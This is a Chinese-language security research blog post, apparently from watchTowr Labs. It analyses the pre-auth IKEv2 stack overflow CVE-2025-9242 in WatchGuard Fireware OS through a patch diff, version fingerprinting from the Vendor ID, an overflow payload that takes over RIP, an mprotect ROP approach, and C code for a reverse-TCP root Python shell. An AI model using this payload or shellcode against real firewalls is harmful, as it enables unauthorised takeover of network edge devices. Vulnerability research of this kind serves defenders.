yIKEs (WatchGuard Fireware OS IKEv2越界写入漏洞 CVE-2025-9242)
编辑注记:在我们开始之前,热烈欢迎McCaulay Hudson,watchTowr Labs团队的最新成员,这是他的首篇博客文章!欢迎加入这场混乱,McCaulay!
今天是1996年11月8日,我们很高兴探索这个称为基于栈的缓冲区溢出的新原语。这是一个美好的时代,特别是因为我们不必处理任何现代/不太现代的缓解措施带来的痛苦。
哦不,等等,现在是2025年,我们仍然在企业级设备中看到基于栈的缓冲区溢出,当然,还缺乏主流的利用缓解措施。
今天,我们将深入探讨CVE-2025-9242 - 这是WatchGuard Fireware OS中的一个现代(哈哈)原语漏洞,Fireware OS是驱动WatchGuard亮红色Firebox网络安全设备的操作系统。或者换句话说,2025年WatchGuard Fireware OS中的一个越界写入漏洞(用WatchGuard自己的话说)。
运行Fireware OS的WatchGuard设备不仅仅是防火墙;它们还是VPN集中器、策略执行引擎、入侵防御系统,在许多情况下,是整个组织的第一道和最后一道防线。
在我们看来,“防御"这个词在这里承担了太多重量。
这篇博客文章将引导读者了解我们在Fireware OS中分析和复现CVE-2025-9242的过程。好奇的读者可以在这里找到官方的WatchGuard公告。
WatchGuard是谁,什么是Fireware OS
WatchGuard是一家老牌安全供应商,声称保护全球超过25万家中小型企业 - 根据他们自己的网站,保护着超过1000万个端点。
他们的设备运行Fireware OS,这是一个一体化边缘平台,旨在成为网络安全的瑞士军刀。它集成了入侵防御、防病毒、网页过滤,甚至还有一个VPN功能,让您的设备可以通过网络之间的加密隧道悄悄传递秘密。
简而言之,Fireware OS是WatchGuard Firebox硬件的软件大脑 - 那些骄傲地坐在服务器机架中的闪亮红色盒子,守卫着您的私有网络和公共互联网之间的边界。
什么是CVE-2025-9242
CVE-2025-9242(如此 catchy)获得了CVSS4.0评分9.3(与CVSS3.1评分不可比),被标记为"严重”,根据WatchGuard的说法,当配置了动态网关对等体时,该漏洞同时影响使用IKEv2的移动用户VPN和使用IKEv2的分支机构VPN。
根据WatchGuard的说法,此漏洞影响以下Fireware OS版本:
11.10.2至11.12.4_Update1(含),
12.0至12.11.3(含)和2025.1。
以下是WatchGuard对此漏洞的描述:
WatchGuard Fireware OS iked进程中的越界写入漏洞可能允许远程未经身份验证的攻击者执行任意代码。当配置了动态网关对等体时,此漏洞同时影响使用IKEv2的移动用户VPN和使用IKEv2的分支机构VPN。
如果Firebox先前配置了使用IKEv2的移动用户VPN或使用IKEv2到动态网关对等体的分支机构VPN,并且这些配置后来已被删除,如果仍然配置了到静态网关对等体的分支机构VPN,则该Firebox可能仍然易受攻击。
让我们总结一下,看看我们是否面对一个具有您友好邻居勒索软件团伙喜欢看到的所有特征的漏洞:
- 影响通常暴露在互联网上的服务(IKEv2 VPN服务)
- 可在认证前利用/访问
- 在边界设备上执行任意代码
在我们今天的分析过程中,我们还将发现WatchGuard(开发安全设备并理应了解安全实践的公司)是否了解"现代"利用缓解措施。
剧透:似乎没有。
在我们继续之前,提醒一下:“WatchGuard使来自全球的超过25万家中小型企业能够保护他们最重要的资产,包括超过1000万个端点。”
yIKEs.补丁对比 - CVE-2025-9242
正如我们在分析N日漏洞时总是做的那样,我们的首要任务是识别易受攻击的代码所在位置并开始确定补丁内容。为此,我们比较了以下Fireware OS版本:
- 12.11.3(未打补丁)
- 12.11.4(已打补丁)
很快,我们在/usr/bin/iked中识别出了可疑的更改,这与我们对漏洞代码在IKEv2服务中修复的理解一致。尽管有大量更改,但我们很快将注意力集中在了ike2_ProcessPayload_CERT函数内的代码更改上。
以下代码片段是我们在易受攻击的12.11.3固件版本中重建的ike2_ProcessPayload_CERT函数。我们为简洁起见删除了一些代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
// src/ike/iked/v2/ike2_payload_cert.c
int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld)
{
char identification [520];
memset(identification, 0, sizeof(identification));
...
// 漏洞:基于栈的缓冲区溢出
// * pIDPld.identification 是攻击者控制的缓冲区
// * identification 是一个固定大小为520字节的栈缓冲区
memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length);
...
int status = CMgrValidateCert_GetPubKey(...);
if (status != 0)
wglog_trace_r("failed to validate received peer certificate");
wglog_trace_r("successfully validated received peer certificate");
}
|
总之,此代码旨在将客户端"identification"复制到本地栈缓冲区,然后验证提供的客户端SSL证书。
查看已打补丁的12.11.4固件版本中的相同函数,我们可以看到在identification缓冲区上引入了一个额外的长度检查(在注释// CVE-2025-9242 length check patch下高亮显示):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
// src/ike/iked/v2/ike2_payload_cert.c
int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld)
{
char identification [512];
memset(identification, 0, sizeof(identification));
...
// CVE-2025-9242 长度检查补丁
if (pIDPld.identification.length > 0x200)
{
wglog_trace_r("received ID data legth(%d) is larger than expected length",
gProgram, pIDPld.identification.length);
return -1;
}
memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length);
...
int status = CMgrValidateCert_GetPubKey(...);
if (status != 0)
wglog_trace_r("failed to validate received peer certificate");
wglog_trace_r("successfully validated received peer certificate");
}
|
发现补丁后,我们复现此漏洞的下一步变得清晰:我们需要深入研究,详细弄清楚IKE协议最终如何触发易受攻击的函数。这将使我们能够构建识别易受攻击设备和利用该漏洞的机制。
IKEv2入门
为不熟悉的读者快速解释,IKEv2是一种通常在UDP端口500上运行的协议,主要负责建立虚拟专用网络(VPN)隧道。
在高层次上,它处理两个对等体之间加密参数、身份验证和密钥交换的安全协商。
协议的未经身份验证部分包括两个初始数据包交换:
基于以上内容,易受攻击的代码(Identification部分)在IKE_SA_AUTH期间处理。这意味着我们必须向WatchGuard IKE服务发送两个数据包才能到达易受攻击的代码路径:
- 一个IKE_SA_INIT数据包,随后是
- 一个IKE_SA_AUTH数据包。
让我们更深入地研究该协议。
第1部分 - IKE_SA_INIT
解释这里发生的事情:
第一个数据包的工作简单但重要 - 它启动Diffie-Hellman密钥交换。在这里,客户端提议其支持的加密转换,发送其公钥,并放入一个随机数。
或者换句话说:这是协议的握手版本,双方就如何安全通信达成一致。尚未进行身份验证;只是客户端和服务器交换数学问题以建立共享秘密。
下面,IKE_SA_INIT数据包 - 显示为树状结构 - 突出了此初始交换所需的必填字段:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
Internet Security Association and Key Management Protocol
Initiator SPI: aae76f3726073034
Responder SPI: 0000000000000000
Next payload: Security Association (33)
Version: 2.0
Exchange type: IKE_SA_INIT (34)
Flags: 0x08 (Initiator, No higher version, Request)
Message ID: 0x00000000
Length: 548
Payload: Security Association (33)
Payload: Proposal (2) # 1
Payload: Transform (3)
Transform Type: Encryption Algorithm (ENCR) (1)
Transform ID (ENCR): ENCR_AES_CBC (12)
Transform Attribute (t=14,l=2): Key Length: 256
Payload: Transform (3)
Transform Type: Pseudo-random Function (PRF) (2)
Transform ID (PRF): PRF_HMAC_SHA2_256 (5)
Payload: Transform (3)
Transform Type: Integrity Algorithm (INTEG) (3)
Transform ID (INTEG): AUTH_HMAC_SHA2_256_128 (12)
Payload: Transform (3)
Transform Type: Diffie-Hellman Group (D-H) (4)
Transform ID (D-H): 2048 bit MODP group (14)
Payload: Key Exchange (34)
Payload: Nonce (40)
Payload: Notify (41) - NAT_DETECTION_DESTINATION_IP
Payload: Notify (41) - NAT_DETECTION_SOURCE_IP
Payload: Vendor ID (43) : Unknown Vendor ID
Payload: Vendor ID (43) : Unknown Vendor ID
Payload: Vendor ID (43) : Cisco Fragmentation
Payload: Vendor ID (43) : Cisco Fragmentation
Payload: Notify (41) - IKEV2_FRAGMENTATION_SUPPORTED
Payload: Notify (41) - REDIRECT_SUPPORTED
Payload: Notify (41) - SIGNATURE_HASH_ALGORITHMS
|
如果服务器接受提议的转换,它会回复自己的公钥、随机数和选择的转换集。
换句话说,它同意加密的参与规则 - 双方从此将如何安全通信。
第2部分 - IKE_SA_AUTH
第二个数据包携带一个受IKE_SA_INIT"握手"中协商的转换保护的加密有效载荷。从Diffie-Hellman交换派生的共享秘密用于加密此有效载荷。
然而,就我们的目的而言,这个数据包值得注意:它可以包括Identification - Initiator有效载荷和Certificate有效载荷,这正是触发易受攻击函数的地方。
服务器确实尝试证书验证,但该验证在易受攻击的代码运行之后发生,允许我们的易受攻击代码路径在认证前可访问:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
Internet Security Association and Key Management Protocol
Initiator SPI: aae76f3726073034
Responder SPI: f1b3cf883e18a45c
Next payload: Encrypted and Authenticated (46)
Version: 2.0
Exchange type: IKE_AUTH (35)
Flags: 0x08 (Initiator, No higher version, Request)
Message ID: 0x00000001
Length: 1616
Payload: Encrypted and Authenticated (46)
Initialization Vector: 57401bf413505f5550173a07d778d68f (16 bytes)
Encrypted Data (1552 bytes) <AES-CBC-256 [RFC3602]>
Decrypted Data (1552 bytes)
Contained Data (1538 bytes)
Payload: Identification - Initiator (35) <---
Payload length: 521
ID type: FQDN (2)
[…] Identification Data:(A*513) <---
Payload: Certificate (37) <---
Payload: Notify (41) - INITIAL_CONTACT
Payload: Notify (41) - HTTP_CERT_LOOKUP_SUPPORTED
Payload: Certificate Request (38)
Payload: Configuration (47)
Payload: Security Association (33)
Payload: Traffic Selector - Initiator (44) # 1
Payload: Traffic Selector - Responder (45) # 1
Payload: Vendor ID (43) : RFC 3706 DPD (Dead Peer Detection)
Payload: Notify (41) - MOBIKE_SUPPORTED
Payload: Notify (41) - MULTIPLE_AUTH_SUPPORTED
Padding (13 bytes)
Pad Length: 13
Integrity Checksum Data: 3e2683f32beaaddeb8f3f0d43f7b0b2b (16 bytes) <HMAC_SHA2_256_128 [RFC4868]>[correct]
|
版本指纹识别
当深入研究IKEv2协议,观察客户端和WatchGuard的VPN服务之间飞驰的数据包时,一些奇怪的东西脱颖而出 - 服务器响应中嵌入的一个base64字符串。这立即引起了我们的注意。在花了比我们愿意承认的更多时间涉足IKE相关RFC之后,我们在规范中没有看到任何地方提到base64数据。
深入挖掘,很明显这不是一些未记录的怪癖 - 它是WatchGuard实现独有的自定义Vendor ID有效载荷。
1
2
3
4
|
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
|
正如您可能已经注意到的,Vendor ID以一个32字节的哈希开始 - 这是IKE的标准配置 - 但紧随其后的是不太熟悉的东西:一个base64编码的字符串。
1
|
bfc22e9856ba993611c11e48a6d20807a95bedb393026a49e60fac327bb9601bVk49MTIuMTEuMyBCTj03MTk4OTQ=
|
那么这个神秘字符串是什么?
1
2
|
~ # echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
VN=12.11.3 BN=719894
|
中奖了!我们看到两个参数:
- VN(版本号):12.11.3
- BN(构建号):719894
这很有用 - 除了漏洞复现之外,我们现在有一种可靠的机制来指纹识别正在使用的WatchGuard Firmware OS版本,无需身份验证且只需单个UDP数据包。
触发溢出
版本识别,无需身份验证且可靠,很好 - 但我们想要更多。我们想要证明一个设备是易受攻击和可利用的,理想情况下不是通过将一些数字与另一个数字列表匹配。
让我们盘点一下我们拥有的东西:
- 我们大致了解IKEv2协议如何工作到触发漏洞的程度,
- 我们可以根据版本号指纹识别服务器以检查它是否易受攻击。
是时候把这一切做得太过分了。
在我们看到shell倾泻而下之前,我们首先需要协商并确定WatchGuard IKEv2服务支持的转换。
默认情况下,在WatchGuard Fireware OS v12.11.3中,支持以下转换:
| 转换 |
密钥组 |
| SHA2-256-AES(256-bit) |
Diffie-Hellman Group 14 |
| SHA1-AES(256-bit) |
Diffie-Hellman Group 5 |
| SHA1-AES(256-bit) |
Diffie-Hellman Group 2 |
| SHA1-3DES |
Diffie-Hellman Group 2 |
Diffie-Hellman交换完成后,客户端发送IKE_SA_AUTH数据包。该加密消息可以携带多个有效载荷,包括Identification – Initiator有效载荷 - 最终被处理并传递给易受攻击的例程。
在正常操作下,identification字段是一个短的、良性的字符串 - 类似"WatchGuard"。然而,在这种情况下,我们更有问题 - 我们发送字母A 520次,填满我们之前看到的固定栈缓冲区,随后是各种其他值:
1
2
3
4
5
6
7
8
9
10
11
12
|
identification = (
b'A' * 520 +
b'B' * 8 + #
b'C' * 8 + #
b'D' * 8 + # RBX
b'E' * 8 + # R12
b'F' * 8 + # R13
b'G' * 8 + # R14
b'H' * 8 + # R15
b'I' * 8 + # RBP
b'\\xDE\\xAD\\xBE\\xEF\\x13\\x37\\xC0\\xD3' # RIP
)
|
在x86-64中,各种寄存器值在函数开始时存储在栈上。
函数体运行,这些保存的值被推到一边。在函数结束时,它通过将它们从栈中弹出恢复保存的寄存器,以便当控制返回时调用者的寄存器状态完好无损。
简而言之,函数的开始将寄存器推送到栈上;函数的结束将它们弹出并恢复CPU状态:
1
2
3
4
5
6
7
|
0041f5ba 5b POP RBX
0041f5bb 41 5c POP R12
0041f5bd 41 5d POP R13
0041f5bf 41 5e POP R14
0041f5c1 41 5f POP R15
0041f5c3 5d POP RBP
0041f5c4 c3 RET
|
然而,在这种情况下,当Identification缓冲区溢出栈并且因为我们已破坏这些值时,函数最终将我们攻击者控制的值弹出到寄存器中。
在我们的示例中,RBX接收0x44444444...(DDDDDDDD),R12接收0x45454545...(EEEEEEEE),依此类推,直到最终的RET将0xDEADBEEF1337C0D3弹出到RIP,程序计数器中。
将此有效载荷发送到易受攻击的WatchGuard IKEv2服务会产生损坏的寄存器和栈状态,类似于下面显示的状态:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
Program received signal SIGSEGV, Segmentation fault.
0x0000000000537a5f in ?? ()
(gdb) i r
rax 0x12 18
rbx 0x4444444444444444 4919131752989213764
rcx 0x1 1
rdx 0x7fffffffd978 140737488345464
rsi 0x612e88 6368904
rdi 0x0 0
rbp 0x4949494949494949 0x4949494949494949
rsp 0x7fffffffdca8 0x7fffffffdca8
r8 0x0 0
r9 0x0 0
r10 0x40 64
r11 0x246 582
r12 0x4545454545454545 4991471925827290437
r13 0x4646464646464646 5063812098665367110
r14 0x4747474747474747 5136152271503443783
r15 0x4848484848484848 5208492444341520456
rip 0x537a5f 0x537a5f
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/1i $pc
=> 0x537a5f: retq
(gdb) x/8xb $rsp
0x7fffffffdca8: 0xde 0xad 0xbe 0xef 0x13 0x37 0xc0 0xd3
(gdb) x/136xb $rsp-128
0x7fffffffdc28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffdc68: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0x7fffffffdc70: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0x7fffffffdc78: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44
0x7fffffffdc80: 0x45 0x45 0x45 0x45 0x45 0x45 0x45 0x45
0x7fffffffdc88: 0x46 0x46 0x46 0x46 0x46 0x46 0x46 0x46
0x7fffffffdc90: 0x47 0x47 0x47 0x47 0x47 0x47 0x47 0x47
0x7fffffffdc98: 0x48 0x48 0x48 0x48 0x48 0x48 0x48 0x48
0x7fffffffdca0: 0x49 0x49 0x49 0x49 0x49 0x49 0x49 0x49
0x7fffffffdca8: 0xde 0xad 0xbe 0xef 0x13 0x37 0xc0 0xd3
|
注意:RIP不是0xDEADBEEF1337C0D3,因为它不是有效地址,程序首先触发分段错误,但是,下一条指令显示为retq并且栈顶显示DEADBEEF1337C0D3。
锤子时间 - ROP, Shell, 跳转
在获得对$RIP的控制后,这种情况在随意看来可能显得微不足道易利用。然而,由于可用的ROP小工具数量有限,情况并非如此(一如既往,生活并不那么简单)。
正如我们上面暗示的,我们非常失望地看到几乎所有的利用缓解措施都没有被使用 - 对于2025年的设备来说,这是一个可悲的状况,更不用说安全设备了。
至少NX位缓解措施已启用,我们猜,让我们从直接的代码执行中稍微解脱出来。
本能地,我们的下一步是创建一个ROP链来执行system("<cmd>"),因为它已经是/usr/bin/iked中的导入函数。
但再一次,生活在这个平行宇宙中,您可能会惊讶地了解到,在WatchGuard OS v12.11.3中没有/bin/sh(就像没有PIE,或栈金丝雀 - 安全性!)。轻量且高效!
对于不熟悉的人来说,C库函数system最终使用/bin/sh -c "{cmd}"调用execve。
值得注意的是,Fireware OS v12.11.3没有包含任何完整的交互式shell,包括/bin/bash或/bin/ash。这个遗漏略微提高了利用的门槛,并且有意或无意地使我们的生活更加困难。更值得注意的是(哈哈),WatchGuard是为数不多的在这种上下文环境中不默认提供shell的供应商之一。
(我们可能已经编写了整个ROP链来使用system,然后才注意到缺少/bin/sh)
面对这个冷酷而严峻的现实,我们的下一个选项是构建一个调用mprotect的ROP链,使栈可执行,从而击败NX提供的缓解措施。
在调用mprotect并使用我们的栈地址并将其标记为可执行后,我们然后能够将我们的shellcode小心地放置在缓冲区中,然后触发ROP链直接从栈执行我们的shellcode。
虽然在这些情况下总是有几个shellcode有效载荷选项,但由于设备缺乏标准的交互式shell,我们选择了一个紧凑的反向TCP有效载荷,该有效载荷生成一个交互式Python解释器。
以下C代码表示shellcode执行的操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
char *argv[] = { "/usr/bin/python3", "-i", "-u", NULL };
// 设置服务器地址
struct sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(target_port);
inet_aton(target_ip, &serv_addr.sin_addr);
// 连接到远程主机
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
// 复制描述符(stdout,stdin,stderr)
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
// 通过TCP生成python3交互式shell
execve("/usr/bin/python3", argv, NULL);
|
就这样,我们能够演示一个工作的远程Python shell,在我们的目标,一个易受攻击的WatchGuard设备上以root身份运行。
为了升级这个立足点,我们有许多选项 - 包括:
- 直接在Python中执行
execve以将文件系统重新挂载为读/写。
- 将BusyBox busybox二进制文件下载到目标上
- 将
/bin/sh符号链接到BusyBox二进制文件
然后 kaboom - 允许我们获得更熟悉的完整Linux shell。
检测工件生成器
按照传统并为使防御者能够使用,我们制作了一个检测工件生成器,以在家中演示和实现认证前远程代码执行(RCE)。
此艺术品可以在 watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242 找到